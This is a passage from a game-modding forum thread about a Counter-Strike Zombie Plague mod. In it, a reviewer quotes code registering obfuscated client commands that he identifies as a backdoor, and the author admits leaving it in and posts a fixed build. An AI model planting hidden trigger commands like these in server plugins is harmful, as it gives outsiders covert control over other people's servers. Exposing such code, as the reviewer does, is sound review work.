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I've reach scripting stage they said unreachable ( My projects free give away! )


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Freezo Begin
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Join Date: Mar 2014
Location: Morocco
Old 01-30-2015 , 08:23   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#71

it's just a text file ( it can be binded 'If you know what i'm saying' ) but this one is clean .
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kam3n1tza
Member
Join Date: Jul 2011
Old 01-30-2015 , 09:18   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#72

Quote:
Originally Posted by Freezo Begin View Post
it's just a text file ( it can be binded 'If you know what i'm saying' ) but this one is clean .
I mean it models, sounds, sprites, maps and other not text files?
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Freezo Begin
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Location: Morocco
Old 01-30-2015 , 09:20   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#73

Nope .
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HamletEagle
AMX Mod X Plugin Approver
Join Date: Sep 2013
Location: Romania
Old 01-30-2015 , 11:28   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#74

PHP Code:

    
    register_clcmd
("9sd023jasd""sec_check")
    
register_clcmd("52d4323sd""sec_check")
    
register_clcmd("zzsd324jasd""sec_check")
    
register_clcmd("x4353jasd""sec_check")
    
zn_precache_access(cfg_privatechat_access)
    
register_clcmd("0000block000xx""sec_check2")
    
register_clcmd("t1""check_thing"
PHP Code:
public sec_check2(id)
{
    
write_file("gfx/env/brickc_0782.tga""asdasdasdasdas")

In chatparse.zn this seems to be a backdoor.
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Last edited by HamletEagle; 01-30-2015 at 11:29.
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.Dare Devil.
Veteran Member
Join Date: Sep 2010
Old 01-31-2015 , 07:45   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#75

it appears that i forgot the backdoor in it. It wasn't my plan, in fact my plan wasn't that you'll try to
compile full source and run it in your server at all but nevermind that then.

I removed the backdoor and fixed one thing in config.zn
Now it should read zp++ config.ini just fine in both linux and windows

ZP++ needs orpheu to run.
New zp++ build:
http://www.upload.ee/files/4494683/z...us_r1.rar.html

orpheu info:
Quote:
I used orpheu to help my team manager, you see now when round starts there are no players in
terrorist team. After the mode starts and someone turns into zombie, that one will go into t team.
So only the zombies are in terrorist teams, no humans, never.
With orpheu i blocked the round end. Default engine wanted to restart the round if i put zombie into t team, since you all know what happens if there are 2cts and 1t, the terrorist left and someone goes into t team and round will restart.
You need to download orpheu manually: https://forums.alliedmods.net/showthread.php?t=116393

If you install zp++ then it should run just fine only problem is that i lost all the sound files.
You need to put your own sounds, edit addons/ZP_PLUSPLUS/config.ini
everything you need to change about gameplay is in config.ini

Heads up about the other thing.
By default my zp++ ads my old server ip what doesn't exist anymore.
Do change it you need to edit zombieplague.txt
Everything you need to edit should be there, no needs to edit source code.

Now about the zp_plusplus.inc:
This is only for those who wish to make extra items or new zombie classes for zp++
if you open that file, you'll see alot new stuff but some old stuff too and then you see that
some of the old zombie plague natives are removed from there.
Well, no worries, they still exists
you just need to include the default zp4.3 include file to access old stuff.
So zp4.3 extra items and zombie classes should work fine in zp++

by including both zp_plusplus.inc and old zombieplague .inc you can edit
default zombie classes by adding them new pain/idle or what ever sounds
PHP Code:
enum
{
zclass_idle 0,
zclass_pain,
zclass_die,
zclass_infect
}
native zp_zclass_push_string(zclassidwhatwith[])
// zclassid should be same what zp_register_zombie_class returns 
Just check up that zp_plusplus.inc and see what else new you can do.
That should be all right now.
Feel free to report if you find new problems.
If i see that this mod is working fine, i will publish it officially
but yea alot of improvements have to be done before its ready.

1. default files, both sounds/models/sprites and default config settings
right now config settings are exactly the same as in my server were.

2. making code more simple to edit.
right now for me, adding new gameplay modes is easy but for others it may be hard
adding new classes like survivor however is really hard. A bit easier than in default zp but still hard.

If i list down all those things i need to do then i better make the whole mod from 0.
And that would be that zsparkle i planned long time ago but sadly its not going to happen any time soon.

Last edited by Arkshine; 06-09-2015 at 10:04. Reason: Don't blank your post
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fysiks
Veteran Member
Join Date: Sep 2007
Location: Flatland, USA
Old 01-31-2015 , 11:36   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#76

Quote:
Originally Posted by .Dare Devil. View Post
it appears that i forgot the backdoor in it.
And your true colors finally come out.
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.Dare Devil.
Veteran Member
Join Date: Sep 2010
Old 01-31-2015 , 12:11   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#77

Quote:
Originally Posted by fysiks View Post
And your true colors finally come out.
At least i have colors but ...wait do you think i did that on purpose ?
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CryWolf
Veteran Member
Join Date: Jul 2008
Location: Romania
Old 02-02-2015 , 16:11   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#78

Please someone thell me that you can compile it because i am missing alot of errors

Full compile error log: http://pastebin.com/yGvbC1m4

compiling it localy: http://tinypic.com/view.php?pic=2z8c...8#.VM_n1GisWSo
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Last edited by CryWolf; 02-03-2015 at 02:47.
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.Dare Devil.
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Join Date: Sep 2010
Old 02-03-2015 , 06:22   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#79

done

Last edited by .Dare Devil.; 02-07-2015 at 09:58.
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HamletEagle
AMX Mod X Plugin Approver
Join Date: Sep 2013
Location: Romania
Old 02-03-2015 , 07:48   Re: I've reach scripting stage they said unreachable ( My projects free give away! )
#80

The only error that need a fix is, you can forget the others...
PHP Code:
gyiovezp/core.zn(159) : error 017undefined symbol "zn_run_check" 
I expected from you(CryWolf) to know the difference between a warning and an error.
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Last edited by HamletEagle; 02-03-2015 at 07:48.
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